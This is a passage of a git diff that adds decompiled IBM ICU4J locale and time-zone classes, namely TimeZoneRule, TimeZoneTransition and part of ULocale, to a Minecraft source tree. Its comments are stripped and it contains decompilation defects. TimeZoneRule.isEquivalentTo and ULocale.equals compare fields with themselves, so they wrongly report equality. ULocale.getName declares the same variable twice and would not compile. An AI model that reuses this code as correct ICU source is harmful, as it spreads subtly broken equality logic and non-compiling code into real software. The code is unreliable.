+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    defaultZone = null;
+    
+
+
+
+    TZDATA_VERSION = null;
+    
+
+
+
+    TZ_IMPL = 0;
+    
+
+
+
+
+
+
+
+
+    String type = ICUConfig.get("com.ibm.icu.util.TimeZone.DefaultTimeZoneType", "ICU");
+    if (type.equalsIgnoreCase("JDK")) {
+      TZ_IMPL = 1;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/TimeZoneRule.java b/src/minecraft/com/ibm/icu/util/TimeZoneRule.java
new file mode 100644
index 0000000..2d0cb25
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/TimeZoneRule.java
@@ -0,0 +1,184 @@
+package com.ibm.icu.util;
+
+import java.io.Serializable;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TimeZoneRule
+  implements Serializable
+{
+  private static final long serialVersionUID = 6374143828553768100L;
+  private final String name;
+  private final int rawOffset;
+  private final int dstSavings;
+  
+  public TimeZoneRule(String name, int rawOffset, int dstSavings)
+  {
+    this.name = name;
+    this.rawOffset = rawOffset;
+    this.dstSavings = dstSavings;
+  }
+  
+
+
+
+
+
+
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+
+
+
+
+  public int getRawOffset()
+  {
+    return rawOffset;
+  }
+  
+
+
+
+
+
+
+
+  public int getDSTSavings()
+  {
+    return dstSavings;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isEquivalentTo(TimeZoneRule other)
+  {
+    if ((rawOffset == rawOffset) && (dstSavings == dstSavings)) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract Date getFirstStart(int paramInt1, int paramInt2);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract Date getFinalStart(int paramInt1, int paramInt2);
+  
+
+
+
+
+
+
+
+
+
+
+
+  public abstract Date getNextStart(long paramLong, int paramInt1, int paramInt2, boolean paramBoolean);
+  
+
+
+
+
+
+
+
+
+
+
+
+  public abstract Date getPreviousStart(long paramLong, int paramInt1, int paramInt2, boolean paramBoolean);
+  
+
+
+
+
+
+
+
+
+
+
+
+  public abstract boolean isTransitionRule();
+  
+
+
+
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append("name=" + name);
+    buf.append(", stdOffset=" + rawOffset);
+    buf.append(", dstSaving=" + dstSavings);
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/TimeZoneTransition.java b/src/minecraft/com/ibm/icu/util/TimeZoneTransition.java
new file mode 100644
index 0000000..8e24ce5
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/TimeZoneTransition.java
@@ -0,0 +1,83 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+public class TimeZoneTransition
+{
+  private final TimeZoneRule from;
+  
+
+
+
+
+  private final TimeZoneRule to;
+  
+
+
+
+
+  private final long time;
+  
+
+
+
+
+
+  public TimeZoneTransition(long time, TimeZoneRule from, TimeZoneRule to)
+  {
+    this.time = time;
+    this.from = from;
+    this.to = to;
+  }
+  
+
+
+
+
+
+
+  public long getTime()
+  {
+    return time;
+  }
+  
+
+
+
+
+
+
+  public TimeZoneRule getTo()
+  {
+    return to;
+  }
+  
+
+
+
+
+
+
+  public TimeZoneRule getFrom()
+  {
+    return from;
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append("time=" + time);
+    buf.append(", from={" + from + "}");
+    buf.append(", to={" + to + "}");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/ULocale.java b/src/minecraft/com/ibm/icu/util/ULocale.java
new file mode 100644
index 0000000..24e0a02
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/ULocale.java
@@ -0,0 +1,4381 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.ICUResourceTableAccess;
+import com.ibm.icu.impl.LocaleIDParser;
+import com.ibm.icu.impl.LocaleIDs;
+import com.ibm.icu.impl.LocaleUtility;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.impl.locale.AsciiUtil;
+import com.ibm.icu.impl.locale.BaseLocale;
+import com.ibm.icu.impl.locale.Extension;
+import com.ibm.icu.impl.locale.InternalLocaleBuilder;
+import com.ibm.icu.impl.locale.LanguageTag;
+import com.ibm.icu.impl.locale.LocaleExtensions;
+import com.ibm.icu.impl.locale.LocaleSyntaxException;
+import com.ibm.icu.impl.locale.ParseStatus;
+import com.ibm.icu.impl.locale.UnicodeLocaleExtension;
+import com.ibm.icu.text.LocaleDisplayNames;
+import com.ibm.icu.text.LocaleDisplayNames.DialectHandling;
+import java.io.Serializable;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.security.AccessControlException;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.text.ParseException;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.MissingResourceException;
+import java.util.Set;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ULocale
+  implements Serializable
+{
+  private static final long serialVersionUID = 3715177670352309217L;
+  public static final ULocale ENGLISH = new ULocale("en", Locale.ENGLISH);
+  
+
+
+
+
+  public static final ULocale FRENCH = new ULocale("fr", Locale.FRENCH);
+  
+
+
+
+
+  public static final ULocale GERMAN = new ULocale("de", Locale.GERMAN);
+  
+
+
+
+
+  public static final ULocale ITALIAN = new ULocale("it", Locale.ITALIAN);
+  
+
+
+
+
+  public static final ULocale JAPANESE = new ULocale("ja", Locale.JAPANESE);
+  
+
+
+
+
+  public static final ULocale KOREAN = new ULocale("ko", Locale.KOREAN);
+  
+
+
+
+
+  public static final ULocale CHINESE = new ULocale("zh", Locale.CHINESE);
+  
+
+
+
+
+  public static final ULocale SIMPLIFIED_CHINESE = new ULocale("zh_Hans", Locale.CHINESE);
+  
+
+
+
+
+  public static final ULocale TRADITIONAL_CHINESE = new ULocale("zh_Hant", Locale.CHINESE);
+  
+
+
+
+
+  public static final ULocale FRANCE = new ULocale("fr_FR", Locale.FRANCE);
+  
+
+
+
+
+  public static final ULocale GERMANY = new ULocale("de_DE", Locale.GERMANY);
+  
+
+
+
+
+  public static final ULocale ITALY = new ULocale("it_IT", Locale.ITALY);
+  
+
+
+
+
+  public static final ULocale JAPAN = new ULocale("ja_JP", Locale.JAPAN);
+  
+
+
+
+
+  public static final ULocale KOREA = new ULocale("ko_KR", Locale.KOREA);
+  
+
+
+
+
+  public static final ULocale CHINA = new ULocale("zh_Hans_CN", Locale.CHINA);
+  
+
+
+
+
+  public static final ULocale PRC = CHINA;
+  
+
+
+
+
+  public static final ULocale TAIWAN = new ULocale("zh_Hant_TW", Locale.TAIWAN);
+  
+
+
+
+
+  public static final ULocale UK = new ULocale("en_GB", Locale.UK);
+  
+
+
+
+
+  public static final ULocale US = new ULocale("en_US", Locale.US);
+  
+
+
+
+
+  public static final ULocale CANADA = new ULocale("en_CA", Locale.CANADA);
+  
+
+
+
+
+  public static final ULocale CANADA_FRENCH = new ULocale("fr_CA", Locale.CANADA_FRENCH);
+  
+
+
+  private static final String EMPTY_STRING = "";
+  
+
+
+  private static final char UNDERSCORE = '_';
+  
+
+  private static final Locale EMPTY_LOCALE = new Locale("", "");
+  
+
+
+
+  private static final String LOCALE_ATTRIBUTE_KEY = "attribute";
+  
+
+
+  public static final ULocale ROOT = new ULocale("", EMPTY_LOCALE);
+  
+
+
+
+
+
+
+
+
+  public static enum Category
+  {
+    DISPLAY, 
+    
+
+
+
+    FORMAT;
+    
+    private Category() {} }
+  private static final SimpleCache<Locale, ULocale> CACHE = new SimpleCache();
+  
+
+  private volatile transient Locale locale;
+  
+
+  private String localeID;
+  
+
+  private volatile transient BaseLocale baseLocale;
+  
+
+  private volatile transient LocaleExtensions extensions;
+  
+
+  private static String[][] CANONICALIZE_MAP;
+  
+
+  private static String[][] variantsToKeywords;
+  
+
+
+  private static void initCANONICALIZE_MAP()
+  {
+    if (CANONICALIZE_MAP == null)
+    {
+
+
+
+
+      String[][] tempCANONICALIZE_MAP = { { "C", "en_US_POSIX", null, null }, { "art_LOJBAN", "jbo", null, null }, { "az_AZ_CYRL", "az_Cyrl_AZ", null, null }, { "az_AZ_LATN", "az_Latn_AZ", null, null }, { "ca_ES_PREEURO", "ca_ES", "currency", "ESP" }, { "cel_GAULISH", "cel__GAULISH", null, null }, { "de_1901", "de__1901", null, null }, { "de_1906", "de__1906", null, null }, { "de__PHONEBOOK", "de", "collation", "phonebook" }, { "de_AT_PREEURO", "de_AT", "currency", "ATS" }, { "de_DE_PREEURO", "de_DE", "currency", "DEM" }, { "de_LU_PREEURO", "de_LU", "currency", "EUR" }, { "el_GR_PREEURO", "el_GR", "currency", "GRD" }, { "en_BOONT", "en__BOONT", null, null }, { "en_SCOUSE", "en__SCOUSE", null, null }, { "en_BE_PREEURO", "en_BE", "currency", "BEF" }, { "en_IE_PREEURO", "en_IE", "currency", "IEP" }, { "es__TRADITIONAL", "es", "collation", "traditional" }, { "es_ES_PREEURO", "es_ES", "currency", "ESP" }, { "eu_ES_PREEURO", "eu_ES", "currency", "ESP" }, { "fi_FI_PREEURO", "fi_FI", "currency", "FIM" }, { "fr_BE_PREEURO", "fr_BE", "currency", "BEF" }, { "fr_FR_PREEURO", "fr_FR", "currency", "FRF" }, { "fr_LU_PREEURO", "fr_LU", "currency", "LUF" }, { "ga_IE_PREEURO", "ga_IE", "currency", "IEP" }, { "gl_ES_PREEURO", "gl_ES", "currency", "ESP" }, { "hi__DIRECT", "hi", "collation", "direct" }, { "it_IT_PREEURO", "it_IT", "currency", "ITL" }, { "ja_JP_TRADITIONAL", "ja_JP", "calendar", "japanese" }, { "nl_BE_PREEURO", "nl_BE", "currency", "BEF" }, { "nl_NL_PREEURO", "nl_NL", "currency", "NLG" }, { "pt_PT_PREEURO", "pt_PT", "currency", "PTE" }, { "sl_ROZAJ", "sl__ROZAJ", null, null }, { "sr_SP_CYRL", "sr_Cyrl_RS", null, null }, { "sr_SP_LATN", "sr_Latn_RS", null, null }, { "sr_YU_CYRILLIC", "sr_Cyrl_RS", null, null }, { "th_TH_TRADITIONAL", "th_TH", "calendar", "buddhist" }, { "uz_UZ_CYRILLIC", "uz_Cyrl_UZ", null, null }, { "uz_UZ_CYRL", "uz_Cyrl_UZ", null, null }, { "uz_UZ_LATN", "uz_Latn_UZ", null, null }, { "zh_CHS", "zh_Hans", null, null }, { "zh_CHT", "zh_Hant", null, null }, { "zh_GAN", "zh__GAN", null, null }, { "zh_GUOYU", "zh", null, null }, { "zh_HAKKA", "zh__HAKKA", null, null }, { "zh_MIN", "zh__MIN", null, null }, { "zh_MIN_NAN", "zh__MINNAN", null, null }, { "zh_WUU", "zh__WUU", null, null }, { "zh_XIANG", "zh__XIANG", null, null }, { "zh_YUE", "zh__YUE", null, null } };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      synchronized (ULocale.class) {
+        if (CANONICALIZE_MAP == null) {
+          CANONICALIZE_MAP = tempCANONICALIZE_MAP;
+        }
+      }
+    }
+    if (variantsToKeywords == null)
+    {
+
+
+
+      String[][] tempVariantsToKeywords = { { "EURO", "currency", "EUR" }, { "PINYIN", "collation", "pinyin" }, { "STROKE", "collation", "stroke" } };
+      
+
+
+
+
+      synchronized (ULocale.class) {
+        if (variantsToKeywords == null) {
+          variantsToKeywords = tempVariantsToKeywords;
+        }
+      }
+    }
+  }
+  
+
+
+  private ULocale(String localeID, Locale locale)
+  {
+    this.localeID = localeID;
+    this.locale = locale;
+  }
+  
+
+
+
+  private ULocale(Locale loc)
+  {
+    localeID = getName(forLocale(loc).toString());
+    locale = loc;
+  }
+  
+
+
+
+
+
+  public static ULocale forLocale(Locale loc)
+  {
+    if (loc == null) {
+      return null;
+    }
+    ULocale result = (ULocale)CACHE.get(loc);
+    if (result == null) {
+      result = JDKLocaleHelper.toULocale(loc);
+      CACHE.put(loc, result);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ULocale(String localeID)
+  {
+    this.localeID = getName(localeID);
+  }
+  
+
+
+
+
+
+  public ULocale(String a, String b)
+  {
+    this(a, b, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ULocale(String a, String b, String c)
+  {
+    localeID = getName(lscvToID(a, b, c, ""));
+  }
+  
+
+
+
+
+
+  public static ULocale createCanonical(String nonCanonicalID)
+  {
+    return new ULocale(canonicalize(nonCanonicalID), (Locale)null);
+  }
+  
+  private static String lscvToID(String lang, String script, String country, String variant) {
+    StringBuilder buf = new StringBuilder();
+    
+    if ((lang != null) && (lang.length() > 0)) {
+      buf.append(lang);
+    }
+    if ((script != null) && (script.length() > 0)) {
+      buf.append('_');
+      buf.append(script);
+    }
+    if ((country != null) && (country.length() > 0)) {
+      buf.append('_');
+      buf.append(country);
+    }
+    if ((variant != null) && (variant.length() > 0)) {
+      if ((country == null) || (country.length() == 0)) {
+        buf.append('_');
+      }
+      buf.append('_');
+      buf.append(variant);
+    }
+    return buf.toString();
+  }
+  
+
+
+
+
+
+  public Locale toLocale()
+  {
+    if (locale == null) {
+      locale = JDKLocaleHelper.toLocale(this);
+    }
+    return locale;
+  }
+  
+  private static ICUCache<String, String> nameCache = new SimpleCache();
+  
+
+
+
+  private static Locale defaultLocale = Locale.getDefault();
+  
+  private static ULocale defaultULocale;
+  private static Locale[] defaultCategoryLocales = new Locale[Category.values().length];
+  private static ULocale[] defaultCategoryULocales = new ULocale[Category.values().length];
+  
+  static {
+    defaultULocale = forLocale(defaultLocale);
+    
+
+
+
+
+
+
+
+
+    if (JDKLocaleHelper.isJava7orNewer()) {
+      for (Category cat : Category.values()) {
+        int idx = cat.ordinal();
+        defaultCategoryLocales[idx] = JDKLocaleHelper.getDefault(cat);
+        defaultCategoryULocales[idx] = forLocale(defaultCategoryLocales[idx]);
+      }
+      
+
+    }
+    else
+    {
+      if (JDKLocaleHelper.isOriginalDefaultLocale(defaultLocale))
+      {
+        String userScript = JDKLocaleHelper.getSystemProperty("user.script");
+        if ((userScript != null) && (LanguageTag.isScript(userScript)))
+        {
+
+          BaseLocale base = defaultULocale.base();
+          BaseLocale newBase = BaseLocale.getInstance(base.getLanguage(), userScript, base.getRegion(), base.getVariant());
+          
+          defaultULocale = getInstance(newBase, defaultULocale.extensions());
+        }
+      }
+      
+
+
+      for (Category cat : Category.values()) {
+        int idx = cat.ordinal();
+        defaultCategoryLocales[idx] = defaultLocale;
+        defaultCategoryULocales[idx] = defaultULocale;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale getDefault()
+  {
+    synchronized (ULocale.class) {
+      if (defaultULocale == null)
+      {
+
+
+
+
+
+
+
+        return ROOT;
+      }
+      Locale currentDefault = Locale.getDefault();
+      if (!defaultLocale.equals(currentDefault)) {
+        defaultLocale = currentDefault;
+        defaultULocale = forLocale(currentDefault);
+        
+        if (!JDKLocaleHelper.isJava7orNewer())
+        {
+
+
+          for (Category cat : Category.values()) {
+            int idx = cat.ordinal();
+            defaultCategoryLocales[idx] = currentDefault;
+            defaultCategoryULocales[idx] = forLocale(currentDefault);
+          }
+        }
+      }
+      return defaultULocale;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static synchronized void setDefault(ULocale newLocale)
+  {
+    defaultLocale = newLocale.toLocale();
+    Locale.setDefault(defaultLocale);
+    defaultULocale = newLocale;
+    
+    for (Category cat : Category.values()) {
+      setDefault(cat, newLocale);
+    }
+  }
+  
+
+
+
+
+
+
+  public static ULocale getDefault(Category category)
+  {
+    synchronized (ULocale.class) {
+      int idx = category.ordinal();
+      if (defaultCategoryULocales[idx] == null)
+      {
+
+
+        return ROOT;
+      }
+      if (JDKLocaleHelper.isJava7orNewer()) {
+        Locale currentCategoryDefault = JDKLocaleHelper.getDefault(category);
+        if (!defaultCategoryLocales[idx].equals(currentCategoryDefault)) {
+          defaultCategoryLocales[idx] = currentCategoryDefault;
+          defaultCategoryULocales[idx] = forLocale(currentCategoryDefault);
+
+
+
+        }
+        
+
+
+
+      }
+      else
+      {
+
+
+
+        Locale currentDefault = Locale.getDefault();
+        if (!defaultLocale.equals(currentDefault)) {
+          defaultLocale = currentDefault;
+          defaultULocale = forLocale(currentDefault);
+          
+          for (Category cat : Category.values()) {
+            int tmpIdx = cat.ordinal();
+            defaultCategoryLocales[tmpIdx] = currentDefault;
+            defaultCategoryULocales[tmpIdx] = forLocale(currentDefault);
+          }
+        }
+      }
+      
+
+
+      return defaultCategoryULocales[idx];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static synchronized void setDefault(Category category, ULocale newLocale)
+  {
+    Locale newJavaDefault = newLocale.toLocale();
+    int idx = category.ordinal();
+    defaultCategoryULocales[idx] = newLocale;
+    defaultCategoryLocales[idx] = newJavaDefault;
+    JDKLocaleHelper.setDefault(category, newJavaDefault);
+  }
+  
+
+
+
+
+  public Object clone()
+  {
+    return this;
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    return localeID.hashCode();
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if ((obj instanceof ULocale)) {
+      return localeID.equals(localeID);
+    }
+    return false;
+  }
+  
+
+
+
+
+  public static ULocale[] getAvailableLocales()
+  {
+    return ICUResourceBundle.getAvailableULocales();
+  }
+  
+
+
+
+
+  public static String[] getISOCountries()
+  {
+    return LocaleIDs.getISOCountries();
+  }
+  
+
+
+
+
+
+
+
+  public static String[] getISOLanguages()
+  {
+    return LocaleIDs.getISOLanguages();
+  }
+  
+
+
+
+
+
+
+  public String getLanguage()
+  {
+    return getLanguage(localeID);
+  }
+  
+
+
+
+
+
+
+
+  public static String getLanguage(String localeID)
+  {
+    return new LocaleIDParser(localeID).getLanguage();
+  }
+  
+
+
+
+
+
+  public String getScript()
+  {
+    return getScript(localeID);
+  }
+  
+
+
+
+
+
+
+  public static String getScript(String localeID)
+  {
+    return new LocaleIDParser(localeID).getScript();
+  }
+  
+
+
+
+
+
+
+  public String getCountry()
+  {
+    return getCountry(localeID);
+  }
+  
+
+
+
+
+
+
+
+  public static String getCountry(String localeID)
+  {
+    return new LocaleIDParser(localeID).getCountry();
+  }
+  
+
+
+
+
+
+  public String getVariant()
+  {
+    return getVariant(localeID);
+  }
+  
+
+
+
+
+
+  public static String getVariant(String localeID)
+  {
+    return new LocaleIDParser(localeID).getVariant();
+  }
+  
+
+
+
+
+  public static String getFallback(String localeID)
+  {
+    return getFallbackString(getName(localeID));
+  }
+  
+
+
+
+
+  public ULocale getFallback()
+  {
+    if ((localeID.length() == 0) || (localeID.charAt(0) == '@')) {
+      return null;
+    }
+    return new ULocale(getFallbackString(localeID), (Locale)null);
+  }
+  
+
+
+  private static String getFallbackString(String fallback)
+  {
+    int extStart = fallback.indexOf('@');
+    if (extStart == -1) {
+      extStart = fallback.length();
+    }
+    int last = fallback.lastIndexOf('_', extStart);
+    if (last == -1) {
+      last = 0;
+    }
+    else {
+      while ((last > 0) && 
+        (fallback.charAt(last - 1) == '_'))
+      {
+
+        last--;
+      }
+    }
+    return fallback.substring(0, last) + fallback.substring(extStart);
+  }
+  
+
+
+
+
+  public String getBaseName()
+  {
+    return getBaseName(localeID);
+  }
+  
+
+
+
+
+
+  public static String getBaseName(String localeID)
+  {
+    if (localeID.indexOf('@') == -1) {
+      return localeID;
+    }
+    return new LocaleIDParser(localeID).getBaseName();
+  }
+  
+
+
+
+
+
+  public String getName()
+  {
+    return localeID;
+  }
+  
+
+
+
+
+
+  private static int getShortestSubtagLength(String localeID)
+  {
+    int localeIDLength = localeID.length();
+    int length = localeIDLength;
+    boolean reset = true;
+    int tmpLength = 0;
+    
+    for (int i = 0; i < localeIDLength; i++) {
+      if ((localeID.charAt(i) != '_') && (localeID.charAt(i) != '-')) {
+        if (reset) {
+          reset = false;
+          tmpLength = 0;
+        }
+        tmpLength++;
+      } else {
+        if ((tmpLength != 0) && (tmpLength < length)) {
+          length = tmpLength;
+        }
+        reset = true;
+      }
+    }
+    
+    return length;
+  }
+  
+
+
+
+
+  public static String getName(String localeID)
+  {
+    String tmpLocaleID;
+    
+
+
+    if ((localeID != null) && (!localeID.contains("@")) && (getShortestSubtagLength(localeID) == 1)) {
+      String tmpLocaleID = forLanguageTag(localeID).getName();
+      if (tmpLocaleID.length() == 0) {
+        tmpLocaleID = localeID;
+      }
+    } else {
+      tmpLocaleID = localeID;
+    }
+    String name = (String)nameCache.get(tmpLocaleID);
+    if (name == null) {
+      name = new LocaleIDParser(tmpLocaleID).getName();
+      nameCache.put(tmpLocaleID, name);
+    }
+    return name;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return localeID;
+  }
+  
+
+
+
+
+
+  public Iterator<String> getKeywords()
+  {
+    return getKeywords(localeID);
+  }
+  
+
+
+
+
+
+
+  public static Iterator<String> getKeywords(String localeID)
+  {
+    return new LocaleIDParser(localeID).getKeywords();
+  }
+  
+
+
+
+
+
+
+  public String getKeywordValue(String keywordName)
+  {
+    return getKeywordValue(localeID, keywordName);
+  }
+  
+
+
+
+
+
+
+  public static String getKeywordValue(String localeID, String keywordName)
+  {
+    return new LocaleIDParser(localeID).getKeywordValue(keywordName);
+  }
+  
+
+
+
+
+
+
+  public static String canonicalize(String localeID)
+  {
+    LocaleIDParser parser = new LocaleIDParser(localeID, true);
+    String baseName = parser.getBaseName();
+    boolean foundVariant = false;
+    
+
+
+
+
+    if (localeID.equals("")) {
+      return "";
+    }
+    
+
+
+
+    initCANONICALIZE_MAP();
+    
+
+    for (int i = 0; i < variantsToKeywords.length; i++) {
+      String[] vals = variantsToKeywords[i];
+      int idx = baseName.lastIndexOf("_" + vals[0]);
+      if (idx > -1) {
+        foundVariant = true;
+        
+        baseName = baseName.substring(0, idx);
+        if (baseName.endsWith("_")) {
+          baseName = baseName.substring(0, --idx);
+        }
+        parser.setBaseName(baseName);
+        parser.defaultKeywordValue(vals[1], vals[2]);
+        break;
+      }
+    }
+    
+
+    for (int i = 0; i < CANONICALIZE_MAP.length; i++) {
+      if (CANONICALIZE_MAP[i][0].equals(baseName)) {
+        foundVariant = true;
+        
+        String[] vals = CANONICALIZE_MAP[i];
+        parser.setBaseName(vals[1]);
+        if (vals[2] == null) break;
+        parser.defaultKeywordValue(vals[2], vals[3]); break;
+      }
+    }
+    
+
+
+
+    if ((!foundVariant) && 
+      (parser.getLanguage().equals("nb")) && (parser.getVariant().equals("NY"))) {
+      parser.setBaseName(lscvToID("nn", parser.getScript(), parser.getCountry(), null));
+    }
+    
+
+    return parser.getName();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public ULocale setKeywordValue(String keyword, String value)
+  {
+    return new ULocale(setKeywordValue(localeID, keyword, value), (Locale)null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static String setKeywordValue(String localeID, String keyword, String value)
+  {
+    LocaleIDParser parser = new LocaleIDParser(localeID);
+    parser.setKeywordValue(keyword, value);
+    return parser.getName();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getISO3Language()
+  {
+    return getISO3Language(localeID);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String getISO3Language(String localeID)
+  {
+    return LocaleIDs.getISO3Language(getLanguage(localeID));
+  }
+  
+
+
+
+
+
+
+
+  public String getISO3Country()
+  {
+    return getISO3Country(localeID);
+  }
+  
+
+
+
+
+
+
+
+  public static String getISO3Country(String localeID)
+  {
+    return LocaleIDs.getISO3Country(getCountry(localeID));
+  }
+  
+
+
+
+
+
+
+
+  public String getDisplayLanguage()
+  {
+    return getDisplayLanguageInternal(this, getDefault(Category.DISPLAY), false);
+  }
+  
+
+
+
+
+
+  public String getDisplayLanguage(ULocale displayLocale)
+  {
+    return getDisplayLanguageInternal(this, displayLocale, false);
+  }
+  
+
+
+
+
+
+
+
+  public static String getDisplayLanguage(String localeID, String displayLocaleID)
+  {
+    return getDisplayLanguageInternal(new ULocale(localeID), new ULocale(displayLocaleID), false);
+  }
+  
+
+
+
+
+
+
+
+
+  public static String getDisplayLanguage(String localeID, ULocale displayLocale)
+  {
+    return getDisplayLanguageInternal(new ULocale(localeID), displayLocale, false);
+  }
+  
+
+
+
+
+
+  public String getDisplayLanguageWithDialect()
+  {
+    return getDisplayLanguageInternal(this, getDefault(Category.DISPLAY), true);
+  }
+  
+
+
+
+
+
+
+  public String getDisplayLanguageWithDialect(ULocale displayLocale)
+  {
+    return getDisplayLanguageInternal(this, displayLocale, true);
+  }
+  
+
+
+
+
+
+
+
+
+  public static String getDisplayLanguageWithDialect(String localeID, String displayLocaleID)
+  {
+    return getDisplayLanguageInternal(new ULocale(localeID), new ULocale(displayLocaleID), true);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String getDisplayLanguageWithDialect(String localeID, ULocale displayLocale)
+  {
+    return getDisplayLanguageInternal(new ULocale(localeID), displayLocale, true);
+  }
+  
+  private static String getDisplayLanguageInternal(ULocale locale, ULocale displayLocale, boolean useDialect)
+  {
+    String lang = useDialect ? locale.getBaseName() : locale.getLanguage();
+    return LocaleDisplayNames.getInstance(displayLocale).languageDisplayName(lang);
+  }
+  
+
+
+
+
+
+  public String getDisplayScript()
+  {
+    return getDisplayScriptInternal(this, getDefault(Category.DISPLAY));
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getDisplayScriptInContext()
+  {
+    return getDisplayScriptInContextInternal(this, getDefault(Category.DISPLAY));
+  }
+  
+
+
+
+
+
+  public String getDisplayScript(ULocale displayLocale)
+  {
+    return getDisplayScriptInternal(this, displayLocale);
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getDisplayScriptInContext(ULocale displayLocale)
+  {
+    return getDisplayScriptInContextInternal(this, displayLocale);
+  }
+  
+
+
+
+
+
+
+
+  public static String getDisplayScript(String localeID, String displayLocaleID)
+  {
+    return getDisplayScriptInternal(new ULocale(localeID), new ULocale(displayLocaleID));
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static String getDisplayScriptInContext(String localeID, String displayLocaleID)
+  {
+    return getDisplayScriptInContextInternal(new ULocale(localeID), new ULocale(displayLocaleID));
+  }
+  
+
+
+
+
+
+
+  public static String getDisplayScript(String localeID, ULocale displayLocale)
+  {
+    return getDisplayScriptInternal(new ULocale(localeID), displayLocale);
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public static String getDisplayScriptInContext(String localeID, ULocale displayLocale)
+  {
+    return getDisplayScriptInContextInternal(new ULocale(localeID), displayLocale);
+  }
+  
+  private static String getDisplayScriptInternal(ULocale locale, ULocale displayLocale)
+  {
+    return LocaleDisplayNames.getInstance(displayLocale).scriptDisplayName(locale.getScript());
+  }
+  
+  private static String getDisplayScriptInContextInternal(ULocale locale, ULocale displayLocale)
+  {
+    return LocaleDisplayNames.getInstance(displayLocale).scriptDisplayNameInContext(locale.getScript());
+  }
+  
+
+
+
+
+
+
+  public String getDisplayCountry()
+  {
+    return getDisplayCountryInternal(this, getDefault(Category.DISPLAY));
+  }
+  
+
+
+
+
+
+  public String getDisplayCountry(ULocale displayLocale)
+  {
+    return getDisplayCountryInternal(this, displayLocale);
+  }
+  
+
+
+
+
+
+
+
+  public static String getDisplayCountry(String localeID, String displayLocaleID)
+  {
+    return getDisplayCountryInternal(new ULocale(localeID), new ULocale(displayLocaleID));
+  }
+  
+
+
+
+
+
+
+
+  public static String getDisplayCountry(String localeID, ULocale displayLocale)
+  {
+    return getDisplayCountryInternal(new ULocale(localeID), displayLocale);
+  }
+  
+  private static String getDisplayCountryInternal(ULocale locale, ULocale displayLocale)
+  {
+    return LocaleDisplayNames.getInstance(displayLocale).regionDisplayName(locale.getCountry());
+  }
+  
+
+
+
+
+
+
+  public String getDisplayVariant()
+  {
+    return getDisplayVariantInternal(this, getDefault(Category.DISPLAY));
+  }
+  
+
+
+
+
+
+  public String getDisplayVariant(ULocale displayLocale)
+  {
+    return getDisplayVariantInternal(this, displayLocale);
+  }
+  
+
+
+
+
+
+
